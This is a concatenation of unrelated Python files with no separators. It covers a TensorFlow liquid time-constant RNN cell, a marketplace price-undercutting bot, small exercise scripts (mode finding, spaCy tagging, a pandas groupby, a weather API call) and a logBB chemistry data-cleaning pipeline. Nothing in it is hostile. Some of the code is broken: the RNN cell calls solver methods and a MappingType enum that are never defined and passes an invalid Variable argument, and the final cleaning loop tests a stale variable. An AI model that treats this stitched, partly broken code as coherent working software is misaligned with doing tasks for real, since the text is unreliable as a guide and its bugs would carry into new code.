class ODESolver(enum.Enum):
    SemiImplicit = 0
    Explicit = 1
    RungeKutta = 2

class LTCCell(tf.keras.layers.AbstractRNNCell):
    def __init__(self, units, ode_steps=6, **kwargs):
        self.units = units
        super(LTCCell, self).__init__(**kwargs)
        # Number of ODE solver steps in one RNN step
        self.ode_solver_unfolds = ode_steps
        self.solver = ODESolver.SemiImplicit

        self.input_mapping = MappingType.Affine

        self.erev_init_factor = 1

        self.w_init_max = 1.0
        self.w_init_min = 0.01
        self.cm_init_min = 0.5
        self.cm_init_max = 0.5
        self.gleak_init_min = 1
        self.gleak_init_max = 1

        self.w_min_value = 1e-5
        self.w_max_value = 1e3
        self.gleak_min_value = 1e-5
        self.gleak_max_value = 1e3
        self.cm_t_min_value = 1e-6
        self.cm_t_max_value = 1e3

        self.fix_cm = None
        self.fix_gleak = None
        self.fix_vleak = None

    @property
    def state_size(self):

        return (self.units)

    def build(self, input_shape):

        self.input_size = input_shape[-1]

        shape = (self.input_size,)
        if self.input_mapping in (MappingType.Affine, MappingType.Linear):
            self.input_w = tf.Variable(
                name="input_w",
                shape=shape,
                trainable=True,
                initial_value=tf.ones(shape)
            )

        shape = (self.input_size,)
        if self.input_mapping == MappingType.Affine:
            self.input_b = tf.Variable(
                name="input_b",
                shape=shape,
                trainable=True,
                initial_value=tf.zeros(shape)
            )

        shape = (self.input_size, self.units)
        self.sensory_mu = tf.Variable(
            name="sensory_mu",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(shape, minval=0.3, maxval=0.8)
        )

        shape = (self.input_size, self.units)
        self.sensory_sigma = tf.Variable(
            name="sensory_sigma",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(shape, minval=3.0, maxval=8.0)
        )

        shape = (self.input_size, self.units)
        self.sensory_W = tf.Variable(
            name="sensory_W",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(
                shape,
                minval=self.w_init_min,
                maxval=self.w_init_max
            )
        )

        shape = (self.input_size, self.units)
        sensory_erev_init = 2 * tf.random.uniform(
            shape,
            minval=0,
            maxval=2,
            dtype=tf.dtypes.int32
        ) - 1
        sensory_erev_init = tf.cast(sensory_erev_init, tf.dtypes.float32)
        self.sensory_erev = tf.Variable(
            name="sensory_erev",
            shape=shape,
            trainable=True,
            initial_value=sensory_erev_init*self.erev_init_factor
        )

        shape = (self.units, self.units)
        self.mu = tf.Variable(
            name="mu",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(shape, minval=0.3, maxval=0.8)
        )

        shape = (self.units, self.units)
        self.sigma = tf.Variable(
            name="sigma",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(shape, minval=3.0, maxval=8.0)
        )

        shape = (self.units, self.units)
        self.W = tf.Variable(
            name="W",
            shape=shape,
            trainable=True,
            initial_value=tf.random.uniform(
                shape,
                minval=self.w_init_min,
                maxval=self.w_init_max
            )
        )

        shape = (self.units, self.units)
        erev_init = 2 * tf.random.uniform(
            shape,
            minval=0,
            maxval=2,
            dtype=tf.dtypes.int32
        ) - 1
        erev_init = tf.cast(erev_init, tf.dtypes.float32)
        self.erev = tf.Variable(
            name="erev",
            shape=shape,
            trainable=True,
            initial_value=erev_init*self.erev_init_factor
        )

        shape = (self.units,)
        if self.fix_vleak is None:
            self.vleak = tf.Variable(
                name="vleak",
                shape=shape,
                trainable=True,
                initial_value=tf.random.uniform(shape, minval=-0.2, maxval=0.2)
            )
        else:
            self.vleak = tf.Variable(
                name="vleak",
                shape=shape,
                trainable=False,
                initial_value=self.fix_vleak*tf.ones(shape)
            )

        shape = (self.units,)
        if self.fix_gleak is None:
            if self.gleak_init_max > self.gleak_init_min:
                initial_value = tf.random.uniform(
                    shape,
                    minval=self.gleak_init_min,
                    maxval=self.gleak_init_max
                )
            else:
                initial_value = self.gleak_init_min * tf.ones(shape)
            self.gleak = tf.Variable(
                name="gleak",
                shape=shape,
                trainable=True,
                initial_value=initial_value
            )
        else:
            self.gleak = tf.Variable(
                name="gleak",
                shape=shape,
                trainable=False,
                initial_value=self.fix_gleak*tf.ones(shape)
            )

        shape = (self.units,)
        if self.fix_cm is None:
            if self.cm_init_max > self.cm_init_min:
                initial_value = tf.random.uniform(
                    shape,
                    minval=self.cm_init_min,
                    maxval=self.cm_init_max
                )
            else:
                initial_value = self.cm_init_min*tf.ones(shape)
            self.cm_t = tf.Variable(
                name="cm_t",
                shape=shape,
                trainable=True,
                initial_value=initial_value
            )
        else:
            self.cm_t = tf.Variable(
                name="cm_t",
                shape=shape,
                trainable=False,
                initializer=self.fix_cm*tf.ones(shape),
            )

        self.built = True

    def call(self, inputs, states):

        state = states[0]

        inputs = self.map_inputs(inputs)

        if self.solver == ODESolver.Explicit:
            next_state = self.ode_step_explicit(
                inputs, state, ode_solver_unfolds=self.ode_solver_unfolds
            )

        elif self.solver == ODESolver.SemiImplicit:
            next_state = self.ode_step(inputs, state)

        elif self.solver == ODESolver.RungeKutta:
            next_state = self.ode_step_runge_kutta(inputs, state)

        else:
            raise ValueError(f"Unknown ODE solver '{str(self.solver)}'")

        outputs = next_state

        return (outputs, next_state)

    def get_config(self):
        config = super(LTCCell, self).get_config()
        config.update({
            "units": self.units,
            "ode_steps": self.ode_solver_unfolds
        })

        return (config)

    @classmethod
    def from_config(cls, config):
        return (cls(**config))

    def get_param_constrain_op(self):

        cm_clipping_op = self.cm_t.assign(
            tf.clip_by_value(self.cm_t, self.cm_t_min_value, self.cm_t_max_value)
        )
        gleak_clipping_op = self.gleak.assign(
            tf.clip_by_value(self.gleak, self.gleak_min_value, self.gleak_max_value)
        )
        w_clipping_op = self.W.assign(
            tf.clip_by_value(self.W, self.w_min_value, self.w_max_value)
        )
        sensory_w_clipping_op = self.sensory_W.assign(
            tf.clip_by_value(self.sensory_W, self.w_min_value, self.w_max_value)
        )

        return (cm_clipping_op, gleak_clipping_op, w_clipping_op, sensory_w_clipping_op)

    def map_inputs(self, inputs):

        if self.input_mapping in (MappingType.Affine, MappingType.Linear):
            inputs = inputs * self.input_w
        if self.input_mapping == MappingType.Affine:
            inputs = inputs + self.input_b

        return (inputs)

    # Hybrid euler method
    def ode_step(self, inputs, state):
        v_pre = state

        sensory_w_activation = self.sensory_W * self.sigmoid(
            inputs,
            self.sensory_mu,
            self.sensory_sigma
        )

        sensory_rev_activation = sensory_w_activation * self.sensory_erev

        w_numerator_sensory = tf.reduce_sum(sensory_rev_activation, axis=1)
        w_denominator_sensory = tf.reduce_sum(sensory_w_activation, axis=1)

        for t in range(self.ode_solver_unfolds):
            w_activation = self.W * self.sigmoid(v_pre, self.mu, self.sigma)

            rev_activation = w_activation * self.erev

            w_numerator = tf.reduce_sum(rev_activation, axis=1) + w_numerator_sensory
            w_denominator = tf.reduce_sum(w_activation, axis=1) + w_denominator_sensory

            numerator = self.cm_t * v_pre + self.gleak * self.vleak + w_numerator
            denominator = self.cm_t + self.gleak + w_denominator

            v_pre = numerator / denominator

        return (v_pre)

    def sigmoid(self, v_pre, mu, sigma):
        v_pre = tf.reshape(v_pre, (-1, v_pre.shape[-1], 1))

        return (tf.nn.sigmoid(sigma * (v_pre - mu)))

class LTCLayer(tf.keras.layers.RNN):
    def __init__(self, units, *args, ode_steps=6, **kwargs):
        if "time_major" not in kwargs:
            print("Defaulting to time_major=True for LTCLayer.")
            kwargs["time_major"] = True
        elif kwargs["time_major"] is False:
            raise (NotImplementedError(
                "time_major=False has not been implemented for LTCLayer."
            ))
        self.units = units
        self.ode_steps = ode_steps

        super(LTCLayer, self).__init__(
            LTCCell(units, ode_steps=ode_steps),
            *args,
            **kwargs
        )

    @classmethod
    def from_config(cls, config):
        del (config["cell"])
        return (cls(**config))

    def get_config(self):
        config = super(LTCLayer, self).get_config()
        config.update({
            "units": self.units,
            "ode_steps": self.ode_steps
        })
        return (config)


import json
import time
import requests
from setting import API, user_agent, default_price, coin, currency
import pprint

def read_my_inventory_json_file():
    with open('skin_full_info.json', 'r', encoding='utf-8') as file_json:
        my_inventory = json.load(file_json)
        return my_inventory

def bot_work():
    inventory = read_my_inventory_json_file()
    for item in inventory:
        url_search_item_by_hash_name_specific = f'https://...={API}&hash_name={item["market_hash_name"]}'
        response = requests.post(url=url_search_item_by_hash_name_specific, headers=user_agent)
        if response.status_code == 200:
            enemy_item = response.json()["data"][0]
            time.sleep(3)
            if int(enemy_item["id"]) != int(item["item_id"]):
                if int(enemy_item["price"]) > int(item["min_price"] * default_price) and int(enemy_item["price"]) < int(item["max_price"] * default_price):
                    my_price = int(enemy_item["price"]) - coin
                    url_set_price = f'https://...={API}&item_id={item["item_id"]}&price={my_price}&cur={currency}'
                    response = requests.post(url=url_set_price, headers=user_agent)
                    if response.status_code == 200:
                        if response.json()["success"] is True:
                            print(f'{response.json()}:-{item["market_hash_name"]}, {time.ctime()}')
                            time.sleep(1)
                            if item == inventory[-1]:
                                return bot_work()
                elif int(enemy_item["price"]) > int(item["max_price"]):
                    print(f'...:- {response.json()["data"][0]["market_hash_name"]}')
                else:
                    return bot_work(), time.sleep(10)
            else:
                if int(enemy_item["id"]) == int(item["item_id"]):
                    print(f'ЦЕЙ предмет на Першому МІСЦІ в РЕЙТЕНГУ:- {item["market_hash_name"]} :- {time.ctime()}')
                    continue

if __name__ == "__main__":
    bot_work()


n=int(input())
l=[]
for i in range(n):
    score=input()
    l.append(score)
if len(l)==1:
    print(l[0])
    exit(0)
else:
    freq={}
    for item in l:
        if item not in freq:
            freq[item]=1
        else:
            freq[item]+=1
    maxkey = max(freq, key=freq.get)
    print(maxkey)


import spacy

nlp = spacy.load("en_core_web_md")

gardenpathSentences = ["After Bill drank the water proved to be poisoned.",
             "Without her contributions would be impossible",
             "The old man the boat",
             "The girl told the story cried",
             "The florist sent the flowers was pleased"]

for sentence in gardenpathSentences:
    tokens = nlp(sentence)
    print([(t.text, t.pos_) for t in tokens])

#ENTITY 1 - SCONJ
print(spacy.explain("SCONJ"))

#what was the entity/explanantion:
#subordinating conjunction - introduces a subordinate clause, which makes sense as this was for the word 'after
#other word examples are after, provided, because

#ENTITY 2 - ADP
print(spacy.explain("ADP"))
#what was the entity/explanantion:
#adposition - combines with a phrase to help convey the context meaning, and as this was provided for the word 'without'
#this makes sense as such words only make sense to give context to another phrase


# city와 f4를 기준으로 f5의 평균값을 구한 다음, f5를 기준으로 상위 7개 값을 모두 더해 출력하시오 (소수점 둘째자리까지 출력)
# - 데이터셋 : basic1.csv
# - 오른쪽 상단 copy&edit 클릭 -> 예상문제 풀이 시작
# - File -> Editor Type -> Script

import pandas as pd

df = pd.read_csv("../input/bigdatacertificationkr/basic1.csv")
df.head()

df1 = df.groupby(['city', 'f4'])['f5'].mean()

df2 = df1.reset_index().sort_values('f5', ascending=False).head(7)
print(round(df2['f5'].sum(),2))


import requests
import os
from datetime import datetime

key = os.environ.get('WEATHER_KEY')  # Returns None if not found
query = {'q': 'minneapolis,us', 'units': 'imperial', 'appid': key}

url = 'http://api.openweathermap.org/data/2.5/forecast'
data = requests.get(url, params=query).json()

forecast_items = data['list']

for forecast in forecast_items:
    timestamp = forecast['dt']  # Unix timestamp
    date = datetime.fromtimestamp(timestamp)  # Convert to a datetime, for humans
    temp = forecast['main']['temp']
    print(f'at {date} temp is {temp}')


import pandas as pd
import numpy as np
from rdkit import Chem
from scipy import stats
import pubchempy as pcp

df = pd.read_excel("../2_bbb_all_complete_CID_out_smiles_fixed_updated.xlsx")
df = df[~df["logBB"].isna()]

df["logBB"] = df["logBB"].astype(float)
# remove molecules with logBB <= -9
df = df[df["logBB"] > -9]

# a dictionary to host inchi keys and isomeric smiles
for idx, row in df.iterrows():
    mol = Chem.MolFromSmiles(row["smiles_fixed_rdkit"])
    df.loc[idx, "Inchi"] = Chem.inchi.MolToInchi(mol)

df.to_excel("regression_inchi.xlsx", index=None, engine="openpyxl")
df = pd.read_excel("regression_inchi.xlsx")

# generate a dictionary to host all the inchi and isomeric smiles (or canonical smiles if isomeric smiles is not avaliable)

def append_value(dict_obj, key, value):
    if key in dict_obj:
        if not isinstance(dict_obj[key], list):
            dict_obj[key] = [dict_obj[key]]
        dict_obj[key].append(value)
    else:

        dict_obj[key] = value
    return dict_obj

inchi_smi_dict = {inchi:[] for inchi in df["Inchi"].to_list()}

for idx, row in df.iterrows():
    inchi_smi_dict = append_value(inchi_smi_dict, row["Inchi"], row["smiles_fixed_rdkit"])

# exam how inchi has more than one isomeric smiles
counter = 0
for key, value in inchi_smi_dict.items():
    if len(value) >= 2:
        counter += 1
print(counter)

# use non-redundant isomeric smiles for inchi_smi_dict
# manually inspect inchies with more than one non-redundant smiles
inchi_smi_dict = {inchi: set(smi) for inchi, smi in inchi_smi_dict.items()}
counter = 0
for key, value in inchi_smi_dict.items():
    if len(value) >= 2:
        print(key, value)
# the same inchi may have more than one inchi values, 12 in total
# but they are just resonance structure, so use inchi as an identifier

###########################################################################
df = pd.read_excel("regression_inchi.xlsx")

# smiles fixing with 02_clean_smiles_chembl_way_20210214.py

#########################################################################
df_unique = df.drop_duplicates(subset="Inchi", keep="first").reset_index(drop=True)
# df_duplicated = df.drop_duplicates(subset="Inchi", keep=False).reset_index(drop=True)

# df_unique["logBB"] = [[] for _ in np.arange(df_unique.shape[0])]
df_unique["logBB"] = ""
df_unique["compound_name"] = ""
df_unique["CID"] = ""
df_unique["new_name"] = ""
df_unique["iupac_name"] = ""
df_unique["reference"] = ""
df_unique["NO."] = ""

df["logBB"] = df["logBB"].astype(float)
# append compound_name, CID, logBB, new_name, iupac_name to the df_unique
# for idx_unique, row_unique in df_unique.iterrows():
#     for idx, row in df.iterrows():
#         if row["Inchi"] == row_unique["Inchi"]:
#             # logBB
#             df_unique.loc[idx_unique, "logBB"] = df_unique.loc[idx_unique, "logBB"] + "|" + str(row["logBB"])
#             # compound_name
#             df_unique.loc[idx_unique, "compound_name"] = df_unique.loc[idx_unique, "compound_name"] + "|" + str(row["compound_name"])
#             # CID
#             df_unique.loc[idx_unique, "CID"] = df_unique.loc[idx_unique, "CID"] + "|" + str(row["CID"])
#             # new_name
#             df_unique.loc[idx_unique, "new_name"] = df_unique.loc[idx_unique, "new_name"] + "|" + str(row["new_name"])
#             # iupac_name
#             df_unique.loc[idx_unique, "iupac_name"] = df_unique.loc[idx_unique, "iupac_name"] + "|" + str(row["iupac_name"])

# df_unique.to_excel("tmp.xlsx", index=None, engine="openpyxl")

# a more efficient way
for idx_unique, row_unique in df_unique.iterrows():
    inchi_unique = row_unique["Inchi"]
    df_inchi_matching = df[df["Inchi"] == inchi_unique].reset_index(drop=True)
    for _, row_matching in df_inchi_matching.iterrows():
        # logBB
        # df_unique.loc[idx_unique, "logBB"] = df_unique.loc[idx_unique, "logBB"] + str(row_matching["logBB"]) + "|"
        df_unique.loc[idx_unique, "logBB"] = df_unique.loc[idx_unique, "logBB"] + str(round(row_matching["logBB"], 2)) + "|"
        # compound_name
        df_unique.loc[idx_unique, "compound_name"] = df_unique.loc[idx_unique, "compound_name"] + str(row_matching["compound_name"]) + "|"
        # CID
        df_unique.loc[idx_unique, "CID"] = df_unique.loc[idx_unique, "CID"] + str(row_matching["CID"]) + "|"
        # new_name
        df_unique.loc[idx_unique, "new_name"] = df_unique.loc[idx_unique, "new_name"] + str(row_matching["new_name"]) + "|"
        # iupac_name
        df_unique.loc[idx_unique, "iupac_name"] = df_unique.loc[idx_unique, "iupac_name"] + str(row_matching["iupac_name"]) + "|"
        # reference
        df_unique.loc[idx_unique, "reference"] = df_unique.loc[idx_unique, "reference"] + str(row_matching["reference"]) + "|"
        # original NO.
        df_unique.loc[idx_unique, "NO."] = df_unique.loc[idx_unique, "NO."] + str(row_matching["NO."]) + "|"

df_unique.to_excel("regression_logBB_combined.xlsx", index=None, engine="openpyxl")

##################################################
# preprocess logBB data
from copy import deepcopy

df = pd.read_excel("regression_logBB_combined.xlsx")
# df_bak = deepcopy(df)

# filter molecules with max(logBB) – min(logBB) > 1
counter = 0
for idx, row in df.iterrows():
    logBB_values = [float(logBB) for logBB in row["logBB"].strip("|").split("|")]
    if max(logBB_values) - min(logBB_values) > 1:
        counter += 1
        df.loc[idx, "logBB"] = np.nan
df = df.dropna(subset=["logBB"]).reset_index(drop=True)

df["std"] = np.nan
df["group"] = ""

for idx, row in df.iterrows():
    # round logBB values to two decimal points as this is the most data hold for
    logBB_values = [logBB for logBB in row["logBB"].strip("|").split("|")]
    # find the minimum decimal places
    decimal_places = min([logBB[::-1].find('.') for logBB in logBB_values])
    logBB_values = [round(float(logBB), decimal_places) for logBB in logBB_values]
    # set logBB values if there is only one
    if len(logBB_values) == 1:
        df.loc[idx, "logBB"] = logBB_values[0]
        df.loc[idx, "group"] = "A"
        df.loc[idx, "std"] = 0
    else:
        mean_logBB = np.multiply(np.ones(len(logBB_values)),
                                 np.average(logBB_values))
        mean_logBB = np.around(mean_logBB, decimals=decimal_places)
        # set logBB values if all the values are the same or within 5% difference
        if np.allclose(np.array(logBB_values), mean_logBB, atol=0, rtol=0.05):
            df.loc[idx, "logBB"] = mean_logBB[0]
            df.loc[idx, "group"] = "B"
            df.loc[idx, "std"] = np.std(logBB_values)
        else:
            # if less than 3 values, use average value
            if len(logBB_values) < 3:
                df.loc[idx, "logBB"] = mean_logBB[0]
                df.loc[idx, "group"] = "C"
                df.loc[idx, "std"] = np.std(logBB_values)
            # if more than 3 values, use mode
            else:
                # not using stats.mode() because it can not handel the suitation when two mode values are avaliable
                # stats.mode(logBB_values)[0]
                values, counts = np.unique(logBB_values, return_counts=True)
                sorted_idx = np.argsort(counts)[::-1]
                values_sorted = values[sorted_idx]
                counts_sorted = counts[sorted_idx]
                # when there is only one number of maximum counts
                if counts_sorted[0] > counts_sorted[1]:
                    df.loc[idx, "logBB"] = values_sorted[0]
                    df.loc[idx, "group"] = "D"
                    df.loc[idx, "std"] = np.std(logBB_values)
                # when there are more than one maximum counts, they are equal
                else:
                    # more than 3 unique values
                    if len(values_sorted) >= 3:
                        # when there are two mode numbers
                        # counts_sorted[0] == counts_sorted[1] is a fact in such a condition as it
                        # is sorted
                        # the first 3 counts are the same
                        if counts_sorted[1] == counts_sorted[2]:
                            df.loc[idx, "logBB"] = sum(values_sorted[:3]) / 3
                            df.loc[idx, "group"] = "dropped_E"
                            df.loc[idx, "std"] = np.std(logBB_values)
                        # the first 2 counts are the same
                        else:
                            df.loc[idx, "logBB"] = sum(values_sorted[:2]) / 2
                            df.loc[idx, "group"] = "dropped_F"
                            df.loc[idx, "std"] = np.std(logBB_values)
                        # as counts_sorted is in descening order, counts_sorted[0] will not be less than counts_sorted[1]
                        # counts_sorted[0] == counts_sorted[1] and counts_sorted[0] == counts_sorted[2]
                    # when there are two unique count values
                    else:
                        # these two unique values are the same
                        if counts_sorted[0] == counts_sorted[1]:
                            df.loc[idx, "logBB"] = mean_logBB[0]
                            df.loc[idx, "group"] = "dropped_G"
                            df.loc[idx, "std"] = np.std(logBB_values)
                        # the first one is greater than the second one
                        else:
                            df.loc[idx, "logBB"] = values_sorted[0]
                            df.loc[idx, "group"] = "dropped_H"
                            df.loc[idx, "std"] = np.std(logBB_values)

#iupac name
for idx, row in df.iterrows():
    iupac_names = [name.lower() for name in row["iupac_name"].strip("|").split("|")
                   if name != "nan" if not name.isdigit() if len(name) != 1]
    if len(iupac_names) >= 1:
        df.loc[idx, "iupac_name"] = iupac_names[0].lstrip()
    else:
        df.loc[idx, "iupac_name"] = ""

# deal with compound_name, new_name
df["new_compound_name"] = ""
for idx, row in df.iterrows():
    # new_compound_name
    compound_names = [name.lower() for name in row["compound_name"].strip("|").split("|")
                      if name != "nan" if not name.isdigit() if len(name) != 1]
    new_names = [name.lower() for name in row["new_name"].strip("|").split("|")
                 if name != "nan" if not name.isdigit() if len(name) != 1]
    # these names found in pubchem come first
    names = list(set(new_names + compound_names))
    # when compound_names list is not empty
    if names != []:
        df.loc[idx, "new_compound_name"] = names[0].lstrip()
    else:
        df.loc[idx, "new_compound_name"] = row["iupac_name"]

# deal with CID
# for idx, row in df.iterrows():
#     cids = list(set([int(float(cid)) for cid in row["CID"].strip("|").split("|") if cid != "nan"]))
#     if len(cids) != 0:
#         df.loc[idx, "CID"] = cids[0]
#     else:
#         df.loc[idx, "CID"] = ""

# deal with smiles and CID
# df["smiles_fixed_rdkit"] = df["smiles_fixed_rdkit"].astype(str)
# df["CID"] = df["CID"].astype(str)

# for idx, row in df.iterrows():
#     # smiles_list = [smi.lower() for smi in row["smiles_fixed_rdkit"].strip("|").split("|")
#     #                if smi != "nan" if not smi.isdigit() if len(smi) != 1]

#     smiles_list = [smi for smi in row["smiles_fixed_rdkit"].strip("|").split("|")
#                    if smi != "nan" if not smi.isdigit()]
#     smiles_list = list(set(smiles_list))

#     cids = list(set([int(float(cid)) for cid in row["CID"].strip("|").split("|") if cid != "nan"]))

#     if len(smiles_list) >= 1:
#         # df.loc[idx, "smiles_fixed_rdkit"] = smiles_list[0].lstrip()

#         # get new CID from the smiles if CID is none
#         # else: use old CID
#         if len(cids) == 0:
#             ## try to get CID until using up the smiles

#             # flag to indicate if we found new CID and smiles
#             flag = False
#             for smi in smiles_list:
#                 try:
#                     # because can get an error with
#                     # O=[SH](O)(c1ccc2cc[nH]c2c1)N1CCCC1CCN1CCC(Oc2cccc(Cl)c2)CC1
#                     compound = pcp.get_compounds(identifier=smi, namespace="smiles")
#                     cid_new = compound[0].cid
#                     if cid_new is not None:
#                         flag = True
#                         break
#                 except:
#                     print("error found when searching pubchem")

#             if flag is True:
#                 df.loc[idx, "smiles_fixed_rdkit"] = smi
#                 df.loc[idx, "CID"] = cid_new
#             else:
#                 df.loc[idx, "smiles_fixed_rdkit"] = smiles_list[0]
#                 df.loc[idx, "CID"] = ""
#         else:
#             # use old CIDs
#             df.loc[idx, "smiles_fixed_rdkit"] = smiles_list[0]
#             if len(cids) >= 1:
#                 df.loc[idx, "CID"] = cids[0]
#             else:
#                 df.loc[idx, "CID"] = ""
###########################################################
df["CID"] = df["CID"].fillna("")
df["CID"] = df["CID"].astype(str)

# deal with CID
df["CID"] = df["CID"].astype(str)
for idx, row in df.iterrows():
    # no need to deal with CID for regression data again
    if pd.isnull(row["logBB"]):
        cids = list(set([int(float(cid)) for cid in row["CID"].strip("|").split("|") if cid != "nan"]))
        if len(cids) != 0:
            df.loc[idx, "CID"] = cids[0]
        else:
            df.loc[idx, "CID"] = ""

# deal with SMILES
df["smiles_fixed_rdkit"] = df["smiles_fixed_rdkit"].astype(str)
for idx, row in df.iterrows():
    smi_strings = list(set([smi for smi in row["smiles_fixed_rdkit"].strip("|").split("|") if smi != "nan"]))
    if len(cids) != 0:
        df.loc[idx, "smiles_fixed_rdkit"] = smi_strings[0]
    else:
        df.loc[idx, "smiles_fixed_rdkit"] = ""

df = df.sort_values(by=["group", "logBB"])
df.to_excel("regression_clean_done.xlsx", index=None, engine="openpyxl")
# clean the data manually